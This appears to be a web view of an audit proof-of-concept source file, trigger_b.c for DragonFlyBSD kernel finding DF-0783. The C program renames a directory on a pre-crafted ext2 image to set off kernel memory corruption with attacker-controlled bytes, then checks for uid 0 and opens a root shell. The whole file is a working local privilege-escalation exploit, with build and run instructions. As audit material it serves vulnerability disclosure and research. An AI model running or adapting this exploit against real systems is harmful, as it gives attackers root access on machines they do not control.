⬢ DragonFlyBSD Kernel Audit
DF-0783 / trigger_b.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/*
 * DF-0783 Trigger B — crafted-ext2-image rename trigger.
 *
 * Given an ext2 mount point, renames d1/sub -> d2/sub. The image is pre-crafted
 * so d1/sub's data block first 24 bytes are attacker-controlled (X + saved rbx).
 *
 * Build:  cc -o trigger_b trigger_b.c
 * Run:    ./trigger_b <ext2-mount-point>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(int argc, char **argv)
{
	char src[4096], dst[4096];

	if (argc != 2) {
		fprintf(stderr, "usage: %s <ext2-mount-point>\n", argv[0]);
		return 2;
	}
	snprintf(src, sizeof(src), "%s/d1/sub", argv[1]);
	snprintf(dst, sizeof(dst), "%s/d2/sub", argv[1]);

	/* Remove any stale dst from prior runs. */
	(void)rmdir(dst);

	printf("[*] DF-0783 trigger B: rename(%s, %s)\n", src, dst);
	printf("[*] uid=%d euid=%d\n", getuid(), geteuid());
	fflush(stdout);

	if (rename(src, dst) != 0) {
		printf("[!] rename: %s (errno=%d)\n", strerror(errno), errno);
		return 1;
	}
	printf("[+] rename succeeded!\n");

	/* If we got here, check if we gained privileges. */
	printf("[*] post-rename uid=%d euid=%d\n", getuid(), geteuid());
	if (getuid() == 0 || geteuid() == 0) {
		printf("[!!!] PRIVILEGE ESCALATION: uid=0\n");
		execl("/bin/sh", "sh", NULL);
	}
	return 0;
}